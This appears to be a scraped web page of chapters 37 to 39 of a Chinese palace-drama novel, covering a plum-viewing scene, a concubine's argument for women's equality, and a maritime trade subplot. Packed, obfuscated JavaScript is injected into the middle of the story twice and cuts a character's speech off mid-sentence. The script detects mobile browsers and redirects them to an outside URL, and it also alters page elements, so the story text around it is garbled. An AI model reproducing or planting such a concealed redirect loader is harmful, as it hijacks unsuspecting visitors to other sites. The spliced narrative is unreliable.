她眼睛里有些悲戚,但兴许只是音儿的错觉。她还是在那个壳子里,就算她带着端木玦把御花园里的花都拔了做成花冠或者炒菜吃了,她也还是在那个壳子里。纵然有时她笑得快忘了形,眼睛都眯成一条缝,可她的笑却还是像一片薄瓷,精致又易碎。 “就这样罢。” “娘娘,陛下昨夜去了俞才人的静姝阁。”小年夜次日晨起,坤宁殿上上下下都忙碌着除尘打扫,端木玦也拿了个小拂尘跟在薛德保身后四处扫扫灰尘,忙活得不亦乐乎。 “是好事啊。”师冉月笑道,“这么说,俞才人便是新人里第一个侍寝的了。” “可不是,新人入宫都半年多了,陛下这才开始临幸,也是叫人摸不着头脑。”啼樱原本在师冉月身旁扎着灯笼,往红纸上描着图样,却手不稳总是描歪,无奈接过木莲的活计搓起红绒绳来。 过了这个年师冉月便要将啼樱“发配”回师家,托付端木萌给她相看个好人家嫁出去,“你一直留在宫里做不过是嫁给宫中侍卫,那便一辈子都跟这宫城脱不开关系了。”师冉月已给她备好了嫁妆,比寻常小门小户的人家嫁女还要丰厚好些,她也不再反驳,只是这些日子总是黏着师冉月或是音儿做事。音儿被她缠得烦了,忍不住直骂她“活像块狗皮膏药”。 啼樱对此撇撇嘴:“音儿姐姐当了娘人都变凶了。” 师冉月看戏笑道:“这与当不当娘有什么关系?你音儿姐姐早就想骂你了,这是怕以后想骂你还得折腾出宫到你家里去,怪麻烦的。” 音儿正在一旁发着愣。坤宁殿上下包括啼樱,甚至包括师冉月自己,似乎都早就默认了师冉月是端木玄的皇后,而不是端木玄的妻,因此说起师冉月暗中托举俞安乐获宠一事,竟是这样的理所当然。 自从烟水那日夜访坤宁殿后,音儿便总是想起旧时尚在师家——阳曲侯是师道旷的时候的那个师家,又或者在逢州的时候,她晓得师冉月哪怕面上再无所谓再绝情,却仍是有些盼望着那些“一生一世一双人”、“执子之手与子偕老”的戏份降临在自己身上的——满京城未出阁的少女有几个不怀着这样的希冀呢?因而,这份情思无论是挂在缥缈的少年奇遇的端木凛身上,又或是后来,与端木玄为夫妻时似是知己般默契的那些瞬间里,她在一旁看着,晓得自己家姑娘的心还是在“跳动”的。可是—— “音儿姐姐?” “哦......哦,无事——你这线也描不好,红绳也搓不利索,不如还是去厨房为娘娘做碗莲子桂花羹来罢。” “好罢好罢。” 音儿看了眼师冉月,便顺着方才的话题又说回俞才人的事来。小年夜宫中众人齐聚宴饮,俞安乐穿着一袭雀蓝洒金的衣裙跳了一首清平乐,妖而不媚,端庄又娇俏,似是盛世里一朵盛开的清妍的鸢尾花,在场众人无不惊叹,夺了端木玄的目光去也是必然。 “陛下开了这个口子,日后宠幸新人便也是顺理成章的了。俞才人出身也合宜,不会太惹人猜测,也不会有人能轻易攀附。我唯一有些担心的不过是这孩子瞧上去心性还太小,连跳舞都没有一分一毫像是要邀宠的样子,全然是展示自己舞姿的骄傲大方,如今得了宠幸,不知道她应不应付的过来。” 音儿也笑着应道:“是呢,素日里瞧着俞才人面对娘娘倒比面对陛下还害羞。” 披了大氅走到屋外,看着一众宫人忙忙碌碌打扫布置,一个个窗花贴起、灯笼挂起,虽然都与素日见惯了的红墙一个颜色,却不知为何就是平添了新年将至的喜悦氛围。站在台阶上往远看去,浅胧的天色也变得渺远,似乎视线也跟着变好了起来。 “母后——母后,”端木城又是一阵风似的冲进坤宁殿,玄色披风像一匹有着油亮黑鬃毛的骏马远远飘在身后。 “又没人追你,别这么着急,当心摔了。”师冉月又是气又是笑,再过两年端木城依国朝惯例就该搬出后宫自己住了,每每想起此事,师冉月也就更惯着他些。“说罢,又要做什么?” 端木城停下脚步憨憨笑笑,“御花园的腊梅开了,儿臣来邀母后和二弟同赏。” “是么,这宫里的腊梅倒不是年年都开的,本宫上次见到大概已经是承祐六年还是七年的时候了。”师冉月也来了兴趣,立时便叫吴怀安和合月领上端木玦一同跟着端木城往御花园走。 一路上端木城亲自领着端木玦,叽叽喳喳地与师冉月说着话,渐渐也就并肩而行。师冉月本也不在乎这些虚礼,早先吴怀安等人还想着提醒,后来音儿私下与众人说了,众人便了然,只要没有外人在时也都放松下来,倒使得坤宁殿上下比一开始和乐不少。 端木城这二年长得颇快,师冉月总觉得他也是才到自己手肘处的孩子,一恍竟比她的肩膀还高一些了,比起长他三岁的师焕也没差多少,心下想着大概还是习武更有利于长个儿,但她自己又是个反面例子,她算是跟着几个兄长学了些骑射的,但却比师吟月矮上半个头。 这般想着,端木城在耳边的话也是听一半扔一半,又突然想起好像有些日子没太见着林绵了,便找了个话缝出口问道:“城儿,你母妃呢?” “母妃忙着织福袋祈福呢。她对御花园里这些花可是上心,一直叫人留意着,昨夜里腊梅刚开,母妃就着人去折了几枝插起来放在窗前,儿臣今早去找她时闻见满室花香,才晓得是腊梅开了。” 师冉月无奈笑了笑。林绵少时原是最稳重的一个,走到哪儿都像是会开解庇佑旁人的长姊,在岳府时穿的朴素,妆容也不起眼,行事更是低调,自然也不会跟着像师冉月官和言这一帮人成日里“不像个姑娘家”般到处寻乐。如今入了这宫规森严的红墙内做起贵妃来,竟没觉得一点拘束,倒是比后来在王府时的师冉月还会找乐子了。 正说着,一行人已到了御花园的梅林前。梅花香气裹挟着一点冰凉的味道扑面而来,再好的熏香也不及此间半分。皇宫里这十几棵梅树已经有快一百年的岁数了,穆宗时移走了当中几棵半死不活的,修建了一座回廊,但没为之题匾,宫里人便只称它为“梅廊”或是“赏梅廊”,像端木萌等人则干脆称之“梅园那个廊子”。虽然没个正经名字,但远远看去回廊飞檐斗拱古朴典雅,隐匿在朵朵开放的腊梅之中,虽是人工造就,但也很有一番看头了。 正欲走近,回廊旁响起“簇簇”的衣衫摩擦声,不多时里面走出几个人来,师冉月定睛分辨,原是赵玉熹和蒋纹等人。 二人疾走几步到师冉月身前躬身行礼。蒋纹笑道:“妾二人背身对着娘娘,听见声响回头分辨才知是娘娘来了,有失礼处还请娘娘莫怪。”又一并给端木城与端木玦见礼。 师冉月本就是一时兴起,便装而至,随和笑道:“本宫又没着人通报,这有什么。”又回头对端木城道:“你带着弟弟到一旁玩吧,本宫与二位才人在廊中说说话。” 吴怀安等即刻叫人搬来桌椅于避风处对着梅林摆好,又拿来挡风的蒲帘远远围着,当中笼上炭火,既不遮挡视线又暖和。三人依次落座,又有人奉上热茶来。 “平日里倒不常见二位出来,这宫里虽不大敞亮,但如这梅花般有些趣味的景致还是不少的,大可多出来走走,免得在阁中憋闷坏了。” 蒋纹笑道:“多谢娘娘关心。只是平日里妾与赵姐姐总怕碰上人。我们两个都不大会说话,万一得罪了旁人便不好了,便也只好在自己阁中闲聊解闷了。”她有一双略显狭长的丹凤眼,皮肤比常人还要白皙几分,又是椭圆的脸型,瞧上去与画中仕女别无二致。她又喜欢穿些月白、浅青和鸭蛋青等素净的浅色衣衫,整个人便如一块出水白玉清澈无暇。 与之相比,一旁的赵玉熹五官即是浓墨重彩的类型,立体而标致,挽起头发便像是英姿飒爽的女将军,如今梳着偏低的发髻,带着青玉发钗,端庄雍容大气非常,竟不似是只有十几岁的少女了。只是与其说她似蒋纹一般性格腼腆,倒不如说有些冷淡,像是高山上永久不化的冻雪无法捂暖。 音儿曾说“赵才人的性子有些像岳太夫人”,师冉月却觉得二人还是有几分不同。岳诗韫似是深山老林里一棵独自生长千年的老柳,或是无人居住的桃花源里静静流淌的一泓溪水,若是有人前去招惹,这溪水也可改道叮咚,与人同乐一会儿,也会随着四季变换或冷或暖。这会儿听着蒋纹与师冉月搭话,她也只是嘴角带着淡淡的笑意,不作言语。 师冉月面对这样的人总有几分固执,想让所有人都与她交心,或是所有人在她面前都如同透明可堪掌握。更何况她如今身居上位,便更没有放着赵玉熹孤零零直愣愣一块寒冰杵在那里的理由。 “不知你们聊些什么,可否叫我也听听?” 蒋纹愣了愣,道:“也不过是......妾和赵姐姐家乡的风土人情。慕州的事娘娘也都熟悉,豫州......”她看了看赵玉熹的神色,有些踌躇。 师冉月也不急,只状似随意道:“我离开慕州也一年多了,倒是想念孙家铺子的糯米糕和城西的酱面了。那酱面的浇头我自己试着按配方做过几次,却总不是那个味道。” 蒋纹欣然点头道:“的确,城西那家酱面的确独一无二,妾少时偶尔瞒着父母出府,吃一碗酱面,再在旁边福满楼听一出戏,就觉得是人间难得的快乐了。” “福满楼的戏的确可以说是慕州第一了,只是听说今年春天扮隐娘的角儿因病去世了,实在可惜。” “的确,就在妾离开慕州前几日。不过他最得意的角色倒还不是隐娘,而是福满楼依照《氓》和《古诗为焦仲卿妻作》新编的一个戏中的旦角。不过大家看这出戏似乎都是奔着故事去的,到不在乎是谁来演了。”蒋纹回忆道,“这两首是《诗经》和乐府诗中的经典了,凡是有些学问的人都耳熟能详,因此当初新戏演出的布告刚一张贴出来,因着这两首诗的噱头,便吸引了不少人去看。不过依妾之见那戏不过是把两首诗简单拼凑罢了,讲的是一个女子在集市上邂逅了卖布的商人,芳心暗许,商人也有意,一来二去便私定终身,那女子不顾家人劝阻执意要嫁给男子,婚后却惨遭冷落、婆母厌弃,不久又绝婚归家,又被家人抱怨,而太守之子却在此时向这女子提亲,女子家人贪慕太守权势促成了这桩婚事,然而成亲当日那前夫又寻过来,在婚礼上痛哭流涕悔过不已,那女子因此被宾客挑剔讲究,不堪受辱,成亲当晚便上吊了。” “《古诗为焦仲卿妻作》好歹焦仲卿亦自缢死了,这戏闹到最后竟就夺了这女子一人性命,不只是哪个人臆想出来博人眼球的东西。”赵玉熹一直默默听着,此时却忍不住冷笑出声,出言嘲讽。 蒋纹道:“原先刘兰芝本是殉情而死,如今改做不堪流言蜚语而上吊......不过是戏班为了吸引人乱改的罢了。” 赵玉熹却又道:“殉情而死难道就值得称颂了么?刘兰芝通身的才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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师冉月却拍了拍她的手起身道:“罢了,本宫今日有些乏了。这梅也赏了,各宫还得忙着新年诸多杂事,二位才人也早回罢,莫要冻坏了身子。”又叫吴怀安带上端木城和端木玦一并离开。 众人纷纷起身行礼,送师冉月走远。看着那身影消失在视野里,蒋纹紧张地挽住赵玉熹的手臂道:“姐姐,那些话你我在自己阁中悄悄说一说也就罢了,怎好拿到皇后娘娘跟前说?她会不会怪罪啊......” 赵玉熹却冷静至极,任由蒋纹别扭着一直挽着自己的手,和她一同往回慢慢走,只道:“我觉得她不会。” “你怎么这么笃定,除了请那么几次安,这可是你头一回和她说话吧?” “放心好了,她是皇后,若想怪罪方才就怪罪下来了。何况大家都是女子,我又没把这话拿到陛下面前说。”赵玉熹垂着鸦羽般的双睫,眼神定格在自己脚上穿的那一双绣着精美苏绣的淡藕荷色鞋子,悲叹般道:“何况我又没有说错。” 蒋纹慢慢放松了手臂,忍不住在心里轻叹。赵家是武将出身,赵玉熹的父祖兄弟无一不自小习武,与那些为着玩乐出风头学习骑射的世族子弟自是不同。赵家家风也严,这家风使得家中子弟勤勉操练,各个都是有朝一日可以为国戍守边疆甚或开疆扩土的将才,却也使得枪法比同辈兄弟还要精妙、骑在马上可以足足八个时辰不觉疲惫的赵玉熹仅仅因为身为女子就在十二岁的时候被关在闺中学女红、背《女戒》。 当初听得赵玉熹这段往事时,蒋纹总忍不住想起戏里面平阳昭公主的故事,忍不住也替她惋惜慨叹。然而她自己虽也是女子,可自小除了穿小厮服饰方便溜出去看戏以外并没有觉得自己的女子身份给自己带来了什么限制,所以只觉自己不能感同身受。 赵玉熹叹道:“你就未曾想过,为什么你的兄长弟弟们可以光明正大走出门去看戏,你却得穿着小厮服饰才能溜出去?” “那是因为......其实我哥哥们也不能出去看戏,在我家没有我爹娘允许自己去看戏就是不行啊。” “那......你为什么不穿丫鬟的衣服,却要穿小厮的衣服?” “丫鬟的裙子不好翻墙啊,而且万一看戏的时候遇上个不怀好意的就遭了。” “可是为何女子就要穿裙子,不能像男子那样穿更方便的可以露在外面的裤子呢?又为什么女子出门看戏就得小心提防别人侵犯毁了那劳什子‘清白’,男子就不必担心呢?” 蒋纹小心翼翼道:“男子也有受人侵犯的,比方说那慕容冲......”却只是嗫嚅,以致于似乎身旁的赵玉熹都未曾听清。 “还有,譬如只有男子可以科举为官,女子就得遵守妇道囿于深宅内院,这也是没有道理的事。”赵玉熹继续道,“若我说,就该女子也可以抛头露面,进学、科举、为官、从军、经商、出海,或是有人就是喜欢待在内院那也无妨。男子也可以做如今女子做的事,养育子女、管理内宅、做针线活......一切都不必分出个男女来,只凭能力爱好做事。” 赵玉熹眼中满是憧憬,似乎思绪也跟着飘到不知何处,完全没注意一旁的蒋纹双手捧着茶杯完全僵住,瞪圆了眼睛努力消化方才听见的话,连恍恍惚惚回到自己阁中仍在反复琢磨,只觉得她说的有理——赵姐姐完全就是可以上战场杀敌的,定不会输了那些男子——可又不明白她是如何会有这样天马行空离经叛道的想法。 蒋纹细想来,她身边能吟诗作赋写文章的女子不在少数,因为从小也如男子般读书,不只是《女则》、《女戒》,《诗经》、《楚辞》、《左传》、《战国策》还有寻常那些儒家典籍都是读的,因此写的诗也不是那些文人口中的“闺怨诗”,她的堂妹就曾经写过一组咏史诗,还有她们未出阁前聚在一起联诗所咏风物,并不比男子见识短到哪儿去。那么这些女子因何不能参加科举、不能为官?能把家宅管理的井井有条、用人采买分毫不错、算盘用的比绣花针熟的诸如她母亲等等内宅夫人们,自然也该有些行商坐贾之才了,而那些商贾算起内宅的账来想必也是不错的。至于男子,她也不是没见过不喜欢诗书偏喜欢些女子活计的,还有戏台子上比女子还娇俏的旦角,也不该被那些自诩“五大三粗”“男子气概”之人嘲笑...... “只是皇后娘娘会不会明白赵姐姐所想的......会不会事后降罪呢?” 38. 第 38 章 回坤宁殿的一路上师冉月都有些思绪不宁。 端木玦显然没有玩够,吵着闹着要和端木城一起,师冉月也没细想,恰好自己如今心烦意乱,也没精力再去照看他,便顺道打发他跟着端木城再去林绵宫里玩会儿,自己直直地回了宫中。 啼樱见到她们回来,又兴奋地像只不怕冻的雀儿缠了上去,却还没走到她们身前便被师冉月的脸色一唬,把话都憋回了肚子里,只敢跟在音儿身后眼神询问。 音儿扶着师冉月进殿,一边沉默着替她更衣,一边思索着如何唤回她的神志,只待把手炉塞到她手中,木莲也端着茉莉蜜茶和热腾腾的红豆乳糕上来,才试着道:“娘娘,徐昭仪那边又送了窗花来,啼樱已经带人贴上了,这过年的感觉一下子就有了——” 师冉月慢慢喝了几口茶,叉了一块乳糕在手,四下打量了一番,微微笑道:“倒是。替我谢过徐昭仪。” 音儿打量着她似乎也无大碍,松了半口气。她再过两日就要经特许出宫过年,过了十五才回来,只恐她不在的这段时间师冉月出什么岔子。 正要抽身去瞧瞧别处忙得如何了,师冉月却冷不丁悠悠道:“音儿,你觉得......赵才人的话如何?” 音儿回头讪讪笑道:“也许是赵才人听蒋才人说的那处戏太入迷了罢?” 师冉月却示意吴怀安拿来名碟,仔细查阅,道:“赵氏一族是武将出身,我观赵才人身形气质,也像是自小习武的,兴许因为她自身际遇有感而发才是真。”将名碟归拢整齐交给吴怀安放回去,又道:“若是一个有将领之才的人没能从军反而因为家族等等原因入宫做了妃嫔,的确是憾事。然而我想,她能有机会习武、读书,能有这一番思想见解,原还是因为她的出身家世。今日她是对着我与蒋才人这样的人说,若是对着衣不蔽体食不果腹之人,或是田间地头终日劳作的那些妇女,想必就是她说了也不能明白是什么意思,兴许还要当作是她得了疯病,或是不知满足了。” 再何况,师冉月在心中默默思忖,这世上还有无数奴籍贱籍之人,连男男女女各自之间也尚不平等,甚至连性命都不能把握在自己手中,比起男女之间的不公,兴许这才更令人惋惜一些罢。 然而她自小也是受人伺候侍奉长大的,虽说师家甚少有打骂虐待下人的,师道旷和唐烨也素来教导子女要自己能自力更生,不能事事等别人侍奉到跟前,然而若要她设想没有水杏、音儿这些人在跟前是什么模样,她也觉得无法想象。 音儿道:“可是赵才人所言之事,古往今来几千年都是如此,男耕女织、男主外女主内,祖祖辈辈都是这样,难道就不对么?” “男耕女织是因为相对来讲男子力气大,更擅长耕,而女子心灵手巧,更善于织,这是商公变法改千耦其耘作小农后为了使每户人家能自给自足甚至温饱有余提倡的搭配,不代表女子便不能耕而男子便不能织。我们在逢州时看见的那些农人,不也有好多女子下田除草插秧,男子也有会缝补的,难道因为祖宗说了‘男耕女织’便都是不对的了吗。” 音儿似懂非懂点了点头。外面天色渐暗,已经挂好的贴了福字的火红灯笼一一亮了起来,透过窗纸也是一片朦胧而暧昧的颜色,好像可以听见年兽的吼叫就在不远处了。宫人鱼贯而入点好烛灯,师冉月恍然惊醒般起身道:“竟都这么晚了,太子还在贵妃宫中吗?” 吴怀安躬身道:“娘娘放心,合月和德保已经去接殿下回来了。” “那便好,该是用晚膳的时间了,一会儿太子回来便传膳罢。这一日耽误了,明日得早起些清点给宗族长辈的年礼才是。”师冉月皱眉叹气,又暗自庆幸端木玄今年除夕不准备宴请宗族贵眷或是百官,不然还有得忙。正说着想着,便听见外面一阵闹哄哄的声响,其中端木玦的声音格外突出。师冉月披了大氅迎出去,却见将端木玦接回来的不只有薛德保和合月等坤宁殿的人,还有近黛。 近黛微笑着走近向她行礼,道:“属下去凤宁阁回来时,恰好碰上薛公公带着殿下从辰阳殿出来,便一同将殿下送回来,也给娘娘请个安。” 师冉月被端木玦拉着手,挑眉道:“陛下今晚要去凤宁阁?” “是。今早陛下在朝堂上被孙尚书缠得不行,下朝后突发奇想召了孙才人去清和殿,后来发生了什么属下就不知道了。”近黛笑道。 “本宫知道了。音儿,送一送近黛。” “是。” “皇后娘娘叫你来送我是想问孙尚书为何缠着陛下罢?”出了坤宁殿,近黛看着音儿摇头笑叹:“这两个真都不是省心的主儿,罢了,你就告诉娘娘,孙尚书是为了前朝的事,和师太傅无关,与孙才人也无关,只是他太过胡搅蛮缠了些。” 音儿也只笑道:“妹妹说笑了,你我自王府相识,情谊自然不比旁人,又怎么不能来送一送你了。” 近黛却没有接下她的话,只问道:“娘娘这般在意,心中几分是前朝,几分是陛下,旁人看不出,音儿姐姐总该晓得罢?” 音儿却未动声色,只与她继续往清和殿走,道:“主子的心思,你我怎好揣测呢?” 近黛看着她,无奈妥协,笑道:“你呀,真是蔫坏。” 音儿只笑不语。 这般又送了几步,一番客套,便也作罢。 回了坤宁殿,面对师冉月问询的眼神,音儿只无奈道:“娘娘晓得近黛,什么话都说尽了偏又一点口风不漏,她能说与师家无关已是不易了。” “罢了,你也快用膳罢,前朝的事我本也不该多问。快要过年,家里头也忙得要死,不然我就把云姝叫进宫了。” 端木萌如今的确成日里像个陀螺一样团团转得想要发疯。 她不明白为何从前看着唐烨和萧晨做同样的事时看起来那么轻松,在人前永远体面端庄,是人人敬仰的京城里最豪门显贵的阳曲侯夫人。那绝不是有她们几个帮忙的原因,因为现在的她也有张雁和好久不肯“出山”的端木婉的帮忙,却仍然觉得疲惫至极,何况当时更年轻的她们恐怕还会帮倒忙,倒添罗乱。 如今师家已修缮完毕,花草也都精致地长在各自的位置上,可连看着满府新年喜气洋洋的布置她却没有一点兴奋的感觉,只是看着各处布置没有出乱子才能松一口气。 “我宁愿和小六互换。”忙完一日的事时夜已深,端木萌看着留容轩的陈设,只能想到白日里哪里摆的是账本哪里见了庄子的管家仆妇,想要出去走走,可已经到了旁人都睡下的时辰,只好到岁苍斋去碰碰运气。 果然,岳诗韫仍未睡下。 如今她两鬓已然漫生白发,眼角也生了好几道皱纹,连声音都有些苍老了,却在这冬夜里仍旧精神矍铄地挽着袖子写字,枯瘦却有力的小臂暴露在微凉的空气里,手腕的筋随着笔画延展缓缓动着,像苍鹰的爪子戏弄着渺小的猎物。 端木萌也不在乎她有没有听、回不回话,只继续道:“宫中的女官宦官都各司其职,做皇后只要统率六宫就好了,偶尔应付一下内外命妇,孝敬一下宗族里的长辈给天下人看。哪里像做这宅子里的宗妇,应酬交际人情往来,人人都巴结又人人都忌惮,好像是块吊在笼子里的肥肉,周围一群饕鬄等着、伸着爪子来抢夺。” 萧晨如今病得越发重了,一日里甚至有四五个时辰都在昏迷,因此张雁也几乎长在了萧晨房中看顾着她的病情。端木婉虽然如今肯伸手帮忙,可整个人都有些恹恹的提不起精神,再加上几乎对谁都冷着一张脸或是似笑非笑的,也不敢叫她在人前应酬。算起来如今整个师家内宅之事全然是由端木萌支撑了,她当年养尊处优,坐着花车下降时可未曾想过会有今日。 岳诗韫写完了一篇,把笔轻轻搁在笔架上,开口的声音像苍翠的松树上抖落的雪,“你还能找我抱怨,便是比起容琯最大的好处了。” 又道:“我听说容琯似乎已经三四个月没有见过今上了。” “您怎会知道?”说完端木萌就后悔地闭了嘴。她这位姨母从来“神出鬼没”,明明足不出户却似诸葛亮般能三分天下,甚至叫她生畏。 岳诗韫却勾唇淡淡笑了,换了一张崭新洁白的生宣用镇纸慢慢铺好,竟对她解释道:“在宫中,昭献皇后的人就是我的人。这些人有一半心思侍候皇家,另一半效忠岳氏,效劳昭献、昭顷还有如今的师皇后,也算是一直效忠我。” 她提起笔在砚中来回蘸了蘸墨,又慢慢写了起来,这回是《房玄龄碑》。 端木萌拿起她放在一旁已经晾干墨迹的《九成宫醴泉铭》,听她继续道:“我这些人,似是藕丝般似有似无,不与师家的那些人一道。我也没有妄图左右什么军国大事,不过听些后宫后宅的八卦,找些乐子罢了。” 端木萌叹:“这可不像姨母。” 岳诗韫挑眉看她,笑道:“知其一而不知其二,还要怪那‘其二’了?” 说话间,岁苍斋的扫洒的老媪在窗外微微提高了些声量喊道:“太夫人、三夫人,外头下雪了,当心三夫人回去路滑。” 端木萌闻言走到门边,稍稍掀开帘子看去,果然天上正飘着一点小雪,瞧着天色也不是一片黑寂了,倒是微微有些发着灰白。那老媪颠着步子迎上来道:“哎唷,夫人当心吹着风。”又顺着她的视线看去,道:“瞧着这天色,像是有场大雪,这可不多见啊。” 端木萌轻轻叹气,呼出的气化作一团白雾飘散在零零的雪花里。 “姨母,我回去了。” 岳诗韫没有停笔,淡淡应了一声。 端木萌便将大氅系好,自己出了岁苍斋,却看见院门外师霖一个黑影像个木桩一样孤零零地立着,手里还拿了件带兜帽的披风。见她出来,师霖才疾走了两步给她用兜帽罩得严严实实。端木萌道:“既然来了怎么不进去?多冷的天,还下了雪,就这么在外面傻站着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226153|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我怕你和姨母在抱怨我,那我进去岂不尴尬。” “怎么会?没有抱怨你。” “是吗。如果不是抱怨我,为什么这么大半夜的顶着冷风走那么远去找姨母?” “真不是抱怨你。”端木萌挽着师霖的手,却被师霖一把抓过来用自己手掌残留的一点温度去捂着她的,可惜他也在外面站了很久,虽然缩在宽大的袍袖里,可指尖已然被冻红了。端木萌忍不住笑起来。师霖道:“忘了带手炉出来,就请公主殿下将就将就罢。” 端木萌红着脸笑着捶他,却又撇撇嘴故意道:“现在我可是长公主了。” “好好好,那就请长公主殿下将就将就罢。” “这几日真是有劳景兄和夫人帮在下打点,蒋某感激不尽。”蒋节一脸诚挚,躬身相谢。 “哎,与其谢我,蒋君不如去谢京城的师太傅。我也是得了他的信才敢向大家保举你啊。”景宗朝摆手道。 大道五年时,接替师晟任逢州太守的荆预调职回京任中书舍人,原逢州通判景宗朝则升任为逢州太守,就地任职。复景元年三年任期满,由师霖向端木玄推荐调任泉郡太守,又特意修书一封,请他协助蒋节市舶司革新与海外通商一事,原先与景宗朝共事的逢州通判迟平义则继任逢州太守。 泉郡自海上贸易兴起时便是沿海重要港口,前朝朝廷大力支持官民出海通商,特设中书直领市舶司管理对东洋和南洋等商贸等事,为了方便,便将市舶司直接设在泉郡。因此泉郡太守府等除了要管理其他与州郡相同的事务,还多了协助市舶司检查藩货、征榷、抽解以及协调乡绅民众与停留或暂居在泉郡的藩商及其家属日常相处等事务,说小也小,毕竟这些事务主要是市舶司负责,郡府不过是有协助之职,但说大也大,毕竟若有嫌隙处理不好,便容易上升到两国相交的问题。何况寻常百姓大多只知郡府,而不太了解市舶司是做什么用的,因此太守通判等从同级州府调职泉郡,虽品级不变,但实为升迁了。 前些年一直半闭海关,市舶司也跟着名存实亡,如今要重新开关开市,蒋节又年轻,且不是沿海等地出身,与泉郡及周边地方的世族和乡绅以及商贾大户打交道就是个难题。虽说他能言会道,但不能叫人一下子看见既得利益,对于那些坐地守家老奸巨猾的商人和政客来讲便谈不上信服,这关头有一个背后是逢州师家和归县晏家的沉州人景宗朝来替他稍加打点,事情就变得容易多了。 恰好赶上过年,蒋节一个单身汉恨不得成天睡在市舶司,自己租了一个一进的小院存放行李,自然不好宴客。景宗朝便在自己家设宴,遍请泉郡甚至旁边池州、逢州等地的世族、乡绅、大商以及郡府和市舶司的一众官员前来做客,将蒋节与那些人一一介绍引荐。其夫人晏梅兮也从人品相貌等在夫人之间将蒋节从上到下夸赞了一番,差点便要开始为他介绍起姻缘来了。 不过蒋节虽然算不上什么俊俏的后生,但也是端正的长相,再加上年轻有为,因此的确有些人家有招婿之意。 “蒋大人当真不想娶亲吗,若是有此意,我可代为介绍呢。”晏梅兮笑道。 蒋节脸红结巴道:“不,不用了,蒋某暂时还没有娶亲的打算,多谢夫人好意。” 景宗朝却也笑道:“不过依你的年纪也该娶亲了,你只年轻我两岁而已,年纪再大些,就算你位列三公了也没有好人家的姑娘愿意嫁给你了。你呀莫要拿市舶司事忙来推脱,娶个亲的时间还是有的。何况若能得一贤妻帮你打理家中,反倒能助你更加顺遂。” “是呀是呀,若能得一有力的岳丈,对你也是大有助力的。” 面对这夫妻二人轮番劝说,蒋节知其好意,只好含糊着道谢并找理由先行告辞。他幼年丧父,母亲改嫁,自幼由慕州的祖父祖母抚养长大,前些年祖父母一一逝世,便没人替他张罗此事,加上端木玄逼宫等事堆在一起,实在叫他无心家事了。 如今他面对些年轻姑娘倒也没有什么心思,只想着将端木玄交代他的事做好,好使沿海经济繁荣,民富国强。比起家中温香暖玉,他倒是更想看见海面上千帆往来,络绎不绝。 送他走远,景宗朝回到家中,轻轻替指挥着下人收拾完残局的夫人按着肩。晏梅兮睁眼道:“老爷,你觉得市舶司一事会如何?” “难。”景宗朝叹道,“重新开关恢复贸易,不是一纸诏书能决定的事。没有国库支持、官兵护卫,谁能保证让内外商人往来会出什么乱子,又会不会有人钻空子祸乱民本。” “我想的倒不是这些。”晏梅兮道,“如今国家不止缺钱,也缺粮,若是叫人发现从商之利,恐怕会有无数农人弃农从商,那粮食就会更加欠缺了。” “所以此事难。不止此事,所有变革之事都是牵一发而动全身,若是变革轻而易举且人人获利,那历朝历代变法也不会那么困难了。蒋节这条路,就算能走下去,也必然举步维艰。” 39. 第 39 章 复景二年的春天像燕子掠过湖面时尾羽的弧度一样平静自然。 御花园的梅花尚未完全凋谢,迎春就先开了起来。起初只是星星点点的鹅黄点在枝头,没人注意着便成了一大片。山桃花与樱花紧随其后,霎那间便是一片芳菲,却又开了不到七日便逐一凋零,留下满地落红混着泥土成了养料,几场淅淅沥沥的春雨过后,便完全渗入泥土不见了踪影,替换上破土而出的丛丛绿茵。枝头的嫩芽也冒了出来,完全是新生的、满是春风和露水气味的崭新颜色,夹在其中未谢的一两朵更添了颜色,看得人欣喜。 嫩生生的一切色彩之下,几棵老松耸然苍绿的常青老枝就成了底色。不过这底色上也在孕育着新生:老松的枝头也长出嫩绿的能掐出水来的新的松叶,像是年迈慈祥的母亲在托举照料着幼小的婴孩。 荷花还早,水中的绿萍先浮了上来,湖里一对鸳鸯和几只野鸭羽毛鲜亮,橘赤的脚蹼隐匿在春水中波动起涟漪,呼扇呼扇出一圈圈水波,绕着垂柳探进水中的枝梢转起来。 宫中比去年热闹,年轻又有些懵懂的女子衣裙翩然,轻声的笑语没入雏鸟的叽喳声中,身影也不经意间融入这小小一方人造出来的山水,仿佛挂在墙上雅致又刻薄的仕女图。 新选秀入宫的几人都承了雨露,其中最得宠的却不是头一个侍寝的俞安乐,而是江映和孙姝妙。 “陛下前两日与我说,有意晋一晋江才人和孙才人的位分。”师冉月道。 林绵放下手中的桃花花枝,道:“新人进宫未满一年,只是承了些恩宠,又没有子嗣,此时晋位会不会太早了些,前朝大概也会有争议。” “他也就是一提,不太认真。听说孙才人有些急功近利,他又一时不想给她子嗣,稍微晋晋位分也无可厚非。”师冉月利落地修剪着芍药花枝,没一会儿几朵半开的玫红、樱粉的芍药就错落地盛开在陶土圆罐里。 林绵叹了叹气,无奈笑道:“这宫里的日子还长着呢。现在有些兴头也好,免得过几年兴致缺缺,二十几岁就像是七老八十行动不便的老妇一样了。”她只稍稍修建掉了一些歪枝,便将那盛开了满满一枝头的桃花花枝插在了瓷瓶中。 师冉月看见促狭笑道:“姐姐这样插花可不符合‘名士’意趣了。” 林绵不屑嗤笑:“‘名士’便是要把花都给剪秃了才算完。这么开得好好的一枝花,非得只剩两三朵,又嫌不够,再找个松枝什么的嫁接在上头。‘名士’愿意折腾就折腾他的去吧,可管不着我。”说着叫来一个小宫女,叫她将自己的插花带回辰阳殿去摆好。 